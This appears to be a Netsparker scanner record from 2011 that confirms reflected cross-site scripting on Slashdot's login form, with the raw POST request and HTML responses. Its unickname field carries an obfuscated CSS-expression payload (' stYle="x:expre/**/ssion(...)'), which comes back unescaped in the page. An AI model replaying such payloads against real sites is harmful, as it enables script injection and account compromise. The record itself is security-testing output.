onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <div class="error"> Danger, Will Robinson! You didn't log in! You apparently put in the wrong password, or the wrong nickname. Either try again, or <a href="//slashdot.org/my/mailpassword">have your password mailed to you</a> if you forgot your password. </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value="3"> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value="" stYle="x:expre/**/ssion(netsparker(9)) "> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form></section> <aside id="slashboxes"> </aside> </section> </div> </section> </section> <footer class="grid_24"> <nav class="grid_20" role="footer"> <ul> <li><a href="//slashdot.org/faq">FAQ</a></li> <li><a href="//slashdot.org/hof.shtml">Hall of Fame</a></li> <li><a href="http://geek.net/advertising">Advertising</a></li> <li><a href="http://geek.net/terms.php">Terms</a></li> <li><a href="http://geek.net/privacy-statement">Privacy</a></li> <li><a href="//slashdot.org/faq/slashmeta.shtml">About</a></li> </ul> </nav> <div class="grid_4 tright">© 2011, <a href="http://geek.net" title="The Mother Ship">Geeknet</a></div> </footer><div id="login_cover" class="hide" onclick="hide_login_box()"></div><div id="login_box" class="hide"> <div id="login_box_content"> <h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <div class="error"> Danger, Will Robinson! You didn't log in! You apparently put in the wrong password, or the wrong nickname. Either try again, or <a href="//slashdot.org/my/mailpassword">have your password mailed to you</a> if you forgot your password. </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value="3"> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value="" stYle="x:expre/**/ssion(netsparker(9)) "> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form> <div class="actions"> <a class="ico close" href="#" onclick="hide_login_box(); return false"><span>Close</span></a> </div> </div></div><script type="text/javascript">logged_in = 0</script><script type="text/javascript">COMSCORE.beacon({ c1:2, c2:6035546, c3:"", c4:"", c5:"", c6:"", c15:""});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1" alt="comScore2"></noscript><div id="modal_cover" class="hide" onclick="hide_modal_box(); return false;"></div><div id="modal_box" class="hide"> <h3><div id="logo"><a href="//slashdot.org">Slashdot</a></div><span id="preference_title"></span></h3><br> <div id="modal_box_content"></div> <div class="actions"> <a class="ico close" href="#" onclick="hide_modal_box(); return ..
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Bender: Woohoo, I'm popular!
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 15005
Date: Tue, 08 Mar 2011 16:01:56 GMT
X-Varnish: 1781030451
Age: 0
Connection: keep-alive
<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, user-scalable=yes, initial-scale=1.0, maximum-scale=10.0" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <link rel="stylesheet" type="text/css" rev="stylesheet" href="//a.fsdn.com/sd/smallscreen.css?T_2_5_0_306n" media="screen, projection"><script id="before-content" type="text/javascript">var pageload = { pagemark: '446692919681467003', before_content: (new Date).getTime()};function pageload_done( $, console, maybe ){ pageload.after_readycode = (new Date).getTime(); pageload.content_ready_time = pageload.content_ready - pageload.before_content; pageload.script_ready_time = pageload.after_readycode - pageload.content_ready; pageload.ready_time = pageload.after_readycode - pageload.before_content; // Only report 1% of cases. maybe || (Math.random()>0.01) || $.ajax({ data: { op: 'page_profile', pagemark: pageload.pagemark, dom: pageload.content_ready_time, js: pageload.script_ready_time } });}</script><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta property="fb:admins" content="100000696822412"><meta property="fb:page_id" content="267995220856"><title>Log In</title><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/classic.css?T_2_5_0_306n" ><!--[if gte IE 8]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie8-classic.css?T_2_5_0_306n" ><![endif]--><!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie7-classic.css?T_2_5_0_306n" ><![endif]--><script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306n" type="text/javascript"></script><script id="after-jquery" type="text/javascript">(function( $, pageload, pageload_done, console ){$ && pageload && $(function(){ pageload.content_ready = (new Date).getTime(); pageload_done && $(function(){ pageload_done($, console, 'maybe'); });});})(window.jQuery, window.pageload, window.pageload_done, window.console);</script><script type="text/javascript">(function(){var regexp=/\s*(?:\d+|many)\s+more\s*/i; var auto_more_count = 2; function auto_more(){ var $more_link = $('#more-experiment a'); $more_link.each(function(){ var $lastitem = $('#firehoselist>div.fhitem:visible:last'); if ( Bounds.intersect(window, $lastitem) ) { // _any_ click can trigger, but click-specific ad will win setTimeout(function(){ inlineAdFirehose($lastitem, 1); }, 0); !--auto_more_count && (auto_more=undefined); // don't allow a call till the next paginate gets built and |more_possible| $(document).unbind('scroll', call_auto_more); } }); }; function call_auto_more(){ auto_more && auto_more(); } $('#more-experiment a'). live('more-possible', function( event ){ var $more_link=$(this); if ( regexp.test($more_link.text()) ) { $(document).bind('scroll', call_auto_more); } else { $(document).unbind('scroll', call_auto_more); } });})();</script><script type="text/javascript">var suggestions_for_context = { nod: 'fresh funny insightful interesting maybe ', nix: 'binspam dupe notthebest offtopic slownewsday stale stupid ', tagnod: 'descriptive', feedback: 'typo dupe error', metanod: 'insightful interesting informative funny underrated', metanix: 'offtopic flamebait troll redundant overrated'};</script><script type="text/javascript">var adpage = 'index';</script><rel class="login" /><!--[if IE]><script src="//a.fsdn.com/sd/html5.js" type="text/javascript"></script><![endif]--><link rel="top" title="News for nerds, stuff that matters" href="//slashdot.org/" ><link rel="search" title="Search Slashdot" href="//slashdot.org/search.pl"><link rel="alternate" title="Slashdot RSS" href="http://rss.slashdot.org/Slashdot/slashdot" type="application/rss+xml"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"><!-- DoubleClick Random Number --><script type="text/javascript"> dfp_ord=Math.random()*10000000000000000; dfp_tile = 1;</script><!-- End DoubleClick Random Number --><script type="text/javascript">window.google_analytics_uacct = "UA-32013-5";var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-32013-5']); _gaq.push(['_trackPageview'],['_setDomainName', 'slashdot.org']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();</script></head><body class="anon login "><div id="top_parent"></div><a name="topothepage"></a><header class="col_wrapper container clearfix h"> <hgroup> <section class="grid_11"> <div id="logo" > <a href="//slashdot.org"><span>Slashdot</span></a> <div id="jump" class="hide"> <a href="#main-articles">Stories</a><br> <a href="#blocks">Slash Boxes</a><br> <a href="#comments">Comments</a> </div> </div> <form id="search" method="get" action="//slashdot.org/index2.pl"> <input type="text" name="fhfilter" value="" id="searchquery"> <span class="ui-icon search"></span> <input type="submit" value="Search"> </form> </section> <nav role="top-navigation" class="grid_13"> <a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;" class="btn link">Join</a> <a href="//slashdot.org/my/login" onclick="show_login_box(); $('#modal_box').addClass('login'); return false;" class="btn link">Log In</a> <a href="//slashdot.org/submission" onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" title="Submit a story to Slashdot" class="btn link">Submit<span class="opt"> Story</span></a> </nav> </hgroup></header><section id="fix"><div class="col_1"></div><div class="col_2"><section class="grid_24 fix"></section></div></section><section> <div class="col_1"><nav class="left_menu" id="links" role="sections"> <ul class="menu" id="fhtablist_new"> <li class="Stories"> <a href="//slashdot.org/stories">Stories</a> </li> <li class="Recent"> <a href="//slashdot.org/recent">Recent</a> </li> <li class="Popular"> <a href="//slashdot.org/popular">Popular</a> </li> </ul> <h4 class="hide" id="links-sections-title" class='active'> <a class="data-title" href="//slashdot.org" >Slashdot</a> <script type="data">{ color: "", viewname: "stories", filter: "", name: "Main", id: 13 }</script> </h4> <ul id="firehose-sections" role="sections" class="left_menu"> <li class="spacer"></li> <li class="" id="fhsection-askslashdot"> <a id="fhsectiontitle-4" class="data-title" href="//ask.slashdot.org">Ask Slashdot</a> </li> <li class="" id="fhsection-bookreview"> <a id="fhsectiontitle-6" class="data-title" href="//books.slashdot.org">Book Reviews</a> </li> <li class="" id="fhsection-games"> <a id="fhsectiontitle-10" class="data-title" href="//games.slashdot.org">Games</a> </li> <li class="" id="fhsection-idle"> <a id="fhsectiontitle-28" class="data-title" href="//idle.slashdot.org">Idle</a> </li> <li class="" id="fhsection-yro"> <a id="fhsectiontitle-17" class="data-title" href="//yro.slashdot.org">YRO</a> </li> <li class="spacer"></li> <li class="" id="fhsection-cloud"> <a id="fhsectiontitle-cloud" class="data-title" href="//slashdot.org/stories/cloud">Cloud</a> </li> <li class="" id="fhsection-hardware"> <a id="fhsectiontitle-21" class="data-title" href="//hardware.slashdot.org">Hardware</a> </li> <li class="" id="fhsection-linux"> <a id="fhsectiontitle-19" class="data-title" href="//linux.slashdot.org">Linux</a> </li> <li class="" id="fhsection-it"> <a id="fhsectiontitle-18" class="data-title" href="//it.slashdot.org">Management</a> </li> <li class="" id="fhsection-mobile"> <a id="fhsectiontitle-29" class="data-title" href="//mobile.slashdot.org">Mobile</a> </li> <li class="" id="fhsection-science"> <a id="fhsectiontitle-14" class="data-title" href="//science.slashdot.org">Science</a> </li> <li class="" id="fhsection-security"> <a id="fhsectiontitle-security" class="data-title" href="//slashdot.org/stories/security">Security</a> </li> <li class="" id="fhsection-storage"> <a id="fhsectiontitle-storage" class="data-title" href="//slashdot.org/stories/storage">Storage</a> </li> </ul></nav> </div> <div class="col_2"> <section class="grid_24" id="content"> <section id="firehose"> <div class="grid_24" ><h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <div class="error"> Danger, Will Robinson! You didn't log in! You apparently put in the wrong password, or the wrong nickname. Either try again, or <a href="//slashdot.org/my/mailpassword">have your password mailed to you</a> if you forgot your password. </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value="3"> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value="" stYle="x:expre/**/ssion(netsparker(9)) "> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form></section> <aside id="slashboxes"> </aside> </section> </div> </section> </section> <footer class="grid_24"> <nav class="grid_20" role="footer"> <ul> <li><a href="//slashdot.org/faq">FAQ</a></li> <li><a href="//slashdot.org/hof.shtml">Hall of Fame</a></li> <li><a href="http://geek.net/advertising">Advertising</a></li> <li><a href="http://geek.net/terms.php">Terms</a></li> <li><a href="http://geek.net/privacy-statement">Privacy</a></li> <li><a href="//slashdot.org/faq/slashmeta.shtml">About</a></li> </ul> </nav> <div class="grid_4 tright">© 2011, <a href="http://geek.net" title="The Mother Ship">Geeknet</a></div> </footer><div id="login_cover" class="hide" onclick="hide_login_box()"></div><div id="login_box" class="hide"> <div id="login_box_content"> <h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <div class="error"> Danger, Will Robinson! You didn't log in! You apparently put in the wrong password, or the wrong nickname. Either try again, or <a href="//slashdot.org/my/mailpassword">have your password mailed to you</a> if you forgot your password. </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value="3"> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value="" stYle="x:expre/**/ssion(netsparker(9)) "> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form> <div class="actions"> <a class="ico close" href="#" onclick="hide_login_box(); return false"><span>Close</span></a> </div> </div></div><script type="text/javascript">logged_in = 0</script><script type="text/javascript">COMSCORE.beacon({ c1:2, c2:6035546, c3:"", c4:"", c5:"", c6:"", c15:""});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1" alt="comScore2"></noscript><div id="modal_cover" class="hide" onclick="hide_modal_box(); return false;"></div><div id="modal_box" class="hide"> <h3><div id="logo"><a href="//slashdot.org">Slashdot</a></div><span id="preference_title"></span></h3><br> <div id="modal_box_content"></div> <div class="actions"> <a class="ico close" href="#" onclick="hide_modal_box(); return ..
|
- /my/login
/my/login CONFIRMED |
Parameters
| Parameter | Type | Value |
| returnto | POST | 3 |
| op | POST | userlogin |
| unickname | POST | " stYle="x:expre/**/ssion(alert(9)) |
| upasswd | POST | 3 |
| userlogin | POST | Log In |
Request
POST /my/login HTTP/1.1
Referer: http://slashdot.org/my/login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: slashdot.org
Content-Length: 114
Expect: 100-continue
Accept-Encoding: gzip, deflate
returnto=3&op=userlogin&unickname=%22+stYle%3d%22x%3aexpre%2f**%2fssion(netsparker(9))+&upasswd=3&userlogin=Log+In
Referer: http://slashdot.org/my/login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: slashdot.org
Content-Length: 114
Expect: 100-continue
Accept-Encoding: gzip, deflate
returnto=3&op=userlogin&unickname=%22+stYle%3d%22x%3aexpre%2f**%2fssion(netsparker(9))+&upasswd=3&userlogin=Log+In
Response
HTTP/1.1 200 OK
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Bender: Want me to smack the corpse around a little?
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 15005
Date: Tue, 08 Mar 2011 16:02:50 GMT
X-Varnish: 1629930914
Age: 0
Connection: keep-alive
<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, user-scalable=yes, initial-scale=1.0, maximum-scale=10.0" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <link rel="stylesheet" type="text/css" rev="stylesheet" href="//a.fsdn.com/sd/smallscreen.css?T_2_5_0_306n" media="screen, projection"><script id="before-content" type="text/javascript">var pageload = { pagemark: '547529900683607043', before_content: (new Date).getTime()};function pageload_done( $, console, maybe ){ pageload.after_readycode = (new Date).getTime(); pageload.content_ready_time = pageload.content_ready - pageload.before_content; pageload.script_ready_time = pageload.after_readycode - pageload.content_ready; pageload.ready_time = pageload.after_readycode - pageload.before_content; // Only report 1% of cases. maybe || (Math.random()>0.01) || $.ajax({ data: { op: 'page_profile', pagemark: pageload.pagemark, dom: pageload.content_ready_time, js: pageload.script_ready_time } });}</script><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta property="fb:admins" content="100000696822412"><meta property="fb:page_id" content="267995220856"><title>Log In</title><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/classic.css?T_2_5_0_306n" ><!--[if gte IE 8]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie8-classic.css?T_2_5_0_306n" ><![endif]--><!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie7-classic.css?T_2_5_0_306n" ><![endif]--><script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306n" type="text/javascript"></script><script id="after-jquery" type="text/javascript">(function( $, pageload, pageload_done, console ){$ && pageload && $(function(){ pageload.content_ready = (new Date).getTime(); pageload_done && $(function(){ pageload_done($, console, 'maybe'); });});})(window.jQuery, window.pageload, window.pageload_done, window.console);</script><script type="text/javascript">(function(){var regexp=/\s*(?:\d+|many)\s+more\s*/i; var auto_more_count = 2; function auto_more(){ var $more_link = $('#more-experiment a'); $more_link.each(function(){ var $lastitem = $('#firehoselist>div.fhitem:visible:last'); if ( Bounds.intersect(window, $lastitem) ) { // _any_ click can trigger, but click-specific ad will win setTimeout(function(){ inlineAdFirehose($lastitem, 1); }, 0); !--auto_more_count && (auto_more=undefined); // don't allow a call till the next paginate gets built and |more_possible| $(document).unbind('scroll', call_auto_more); } }); }; function call_auto_more(){ auto_more && auto_more(); } $('#more-experiment a'). live('more-possible', function( event ){ var $more_link=$(this); if ( regexp.test($more_link.text()) ) { $(document).bind('scroll', call_auto_more); } else { $(document).unbind('scroll', call_auto_more); } });})();</script><script type="text/javascript">var suggestions_for_context = { nod: 'fresh funny insightful interesting maybe ', nix: 'binspam dupe notthebest offtopic slownewsday stale stupid ', tagnod: 'descriptive', feedback: 'typo dupe error', metanod: 'insightful interesting informative funny underrated', metanix: 'offtopic flamebait troll redundant overrated'};</script><script type="text/javascript">var adpage = 'index';</script><rel class="login" /><!--[if IE]><script src="//a.fsdn.com/sd/html5.js" type="text/javascript"></script><![endif]--><link rel="top" title="News for nerds, stuff that matters" href="//slashdot.org/" ><link rel="search" title="Search Slashdot" href="//slashdot.org/search.pl"><link rel="alternate" title="Slashdot RSS" href="http://rss.slashdot.org/Slashdot/slashdot" type="application/rss+xml"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"><!-- DoubleClick Random Number --><script type="text/javascript"> dfp_ord=Math.random()*10000000000000000; dfp_tile = 1;</script><!-- End DoubleClick Random Number --><script type="text/javascript">window.google_analytics_uacct = "UA-32013-5";var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-32013-5']); _gaq.push(['_trackPageview'],['_setDomainName', 'slashdot.org']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();</script></head><body class="anon login "><div id="top_parent"></div><a name="topothepage"></a><header class="col_wrapper container clearfix h"> <hgroup> <section class="grid_11"> <div id="logo" > <a href="//slashdot.org"><span>Slashdot</span></a> <div id="jump" class="hide"> <a href="#main-articles">Stories</a><br> <a href="#blocks">Slash Boxes</a><br> <a href="#comments">Comments</a> </div> </div> <form id="search" method="get" action="//slashdot.org/index2.pl"> <input type="text" name="fhfilter" value="" id="searchquery"> <span class="ui-icon search"></span> <input type="submit" value="Search"> </form> </section> <nav role="top-navigation" class="grid_13"> <a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;" class="btn link">Join</a> <a href="//slashdot.org/my/login" onclick="show_login_box(); $('#modal_box').addClass('login'); return false;" class="btn link">Log In</a> <a href="//slashdot.org/submission" onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" title="Submit a story to Slashdot" class="btn link">Submit<span class="opt"> Story</span></a> </nav> </hgroup></header><section id="fix"><div class="col_1"></div><div class="col_2"><section class="grid_24 fix"></section></div></section><section> <div class="col_1"><nav class="left_menu" id="links" role="sections"> <ul class="menu" id="fhtablist_new"> <li class="Stories"> <a href="//slashdot.org/stories">Stories</a> </li> <li class="Recent"> <a href="//slashdot.org/recent">Recent</a> </li> <li class="Popular"> <a href="//slashdot.org/popular">Popular</a> </li> </ul> <h4 class="hide" id="links-sections-title" class='active'> <a class="data-title" href="//slashdot.org" >Slashdot</a> <script type="data">{ color: "", viewname: "stories", filter: "", name: "Main", id: 13 }</script> </h4> <ul id="firehose-sections" role="sections" class="left_menu"> <li class="spacer"></li> <li class="" id="fhsection-askslashdot"> <a id="fhsectiontitle-4" class="data-title" href="//ask.slashdot.org">Ask Slashdot</a> </li> <li class="" id="fhsection-bookreview"> <a id="fhsectiontitle-6" class="data-title" href="//books.slashdot.org">Book Reviews</a> </li> <li class="" id="fhsection-games"> <a id="fhsectiontitle-10" class="data-title" href="//games.slashdot.org">Games</a> </li> <li class="" id="fhsection-idle"> <a id="fhsectiontitle-28" class="data-title" href="//idle.slashdot.org">Idle</a> </li> <li class="" id="fhsection-yro"> <a id="fhsectiontitle-17" class="data-title" href="//yro.slashdot.org">YRO</a> </li> <li class="spacer"></li> <li class="" id="fhsection-cloud"> <a id="fhsectiontitle-cloud" class="data-title" href="//slashdot.org/stories/cloud">Cloud</a> </li> <li class="" id="fhsection-hardware"> <a id="fhsectiontitle-21" class="data-title" href="//hardware.slashdot.org">Hardware</a> </li> <li class="" id="fhsection-linux"> <a id="fhsectiontitle-19" class="data-title" href="//linux.slashdot.org">Linux</a> </li> <li class="" id="fhsection-it"> <a id="fhsectiontitle-18" class="data-title" href="//it.slashdot.org">Management</a> </li> <li class="" id="fhsection-mobile"> <a id="fhsectiontitle-29" class="data-title" href="//mobile.slashdot.org">Mobile</a> </li> <li class="" id="fhsection-science"> <a id="fhsectiontitle-14" class="data-title" href="//science.slashdot.org">Science</a> </li> <li class="" id="fhsection-security"> <a id="fhsectiontitle-security" class="data-title" href="//slashdot.org/stories/security">Security</a> </li> <li class="" id="fhsection-storage"> <a id="fhsectiontitle-storage" class="data-title" href="//slashdot.org/stories/storage">Storage</a> </li> </ul></nav> </div> <div class="col_2"> <section class="grid_24" id="content"> <section id="firehose"> <div class="grid_24" ><h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <div class="error"> Danger, Will Robinson! You didn't log in! You apparently put in the wrong password, or the wrong nickname. Either try again, or <a href="//slashdot.org/my/mailpassword">have your password mailed to you</a> if you forgot your password. </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value="3"> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value="" stYle="x:expre/**/ssion(netsparker(9)) "> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form></section> <aside id="slashboxes"> </aside> </section> </div> </section> </section> <footer class="grid_24"> <nav class="grid_20" role="footer"> <ul> <li><a href="//slashdot.org/faq">FAQ</a></li> <li><a href="//slashdot.org/hof.shtml">Hall of Fame</a></li> <li><a href="http://geek.net/advertising">Advertising</a></li> <li><a href="http://geek.net/terms.php">Terms</a></li> <li><a href="http://geek.net/privacy-statement">Privacy</a></li> <li><a href="//slashdot.org/faq/slashmeta.shtml">About</a></li> </ul> </nav> <div class="grid_4 tright">© 2011, <a href="http://geek.net" title="The Mother Ship">Geeknet</a></div> </footer><div id="login_cover" class="hide" onclick="hide_login_box()"></div><div id="login_box" class="hide"> <div id="login_box_content"> <h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <div class="error"> Danger, Will Robinson! You didn't log in! You apparently put in the wrong password, or the wrong nickname. Either try again, or <a href="//slashdot.org/my/mailpassword">have your password mailed to you</a> if you forgot your password. </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value="3"> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value="" stYle="x:expre/**/ssion(netsparker(9)) "> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form> <div class="actions"> <a class="ico close" href="#" onclick="hide_login_box(); return false"><span>Close</span></a> </div> </div></div><script type="text/javascript">logged_in = 0</script><script type="text/javascript">COMSCORE.beacon({ c1:2, c2:6035546, c3:"", c4:"", c5:"", c6:"", c15:""});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1" alt="comScore2"></noscript><div id="modal_cover" class="hide" onclick="hide_modal_box(); return false;"></div><div id="modal_box" class="hide"> <h3><div id="logo"><a href="//slashdot.org">Slashdot</a></div><span id="preference_title"></span></h3><br> <div id="modal_box_content"></div> <div class="actions"> <a class="ico close" href="#" onclick="h..
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Bender: Want me to smack the corpse around a little?
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 15005
Date: Tue, 08 Mar 2011 16:02:50 GMT
X-Varnish: 1629930914
Age: 0
Connection: keep-alive
<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, user-scalable=yes, initial-scale=1.0, maximum-scale=10.0" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <link rel="stylesheet" type="text/css" rev="stylesheet" href="//a.fsdn.com/sd/smallscreen.css?T_2_5_0_306n" media="screen, projection"><script id="before-content" type="text/javascript">var pageload = { pagemark: '547529900683607043', before_content: (new Date).getTime()};function pageload_done( $, console, maybe ){ pageload.after_readycode = (new Date).getTime(); pageload.content_ready_time = pageload.content_ready - pageload.before_content; pageload.script_ready_time = pageload.after_readycode - pageload.content_ready; pageload.ready_time = pageload.after_readycode - pageload.before_content; // Only report 1% of cases. maybe || (Math.random()>0.01) || $.ajax({ data: { op: 'page_profile', pagemark: pageload.pagemark, dom: pageload.content_ready_time, js: pageload.script_ready_time } });}</script><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta property="fb:admins" content="100000696822412"><meta property="fb:page_id" content="267995220856"><title>Log In</title><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/classic.css?T_2_5_0_306n" ><!--[if gte IE 8]><link rel="stylesheet" type="text/css" 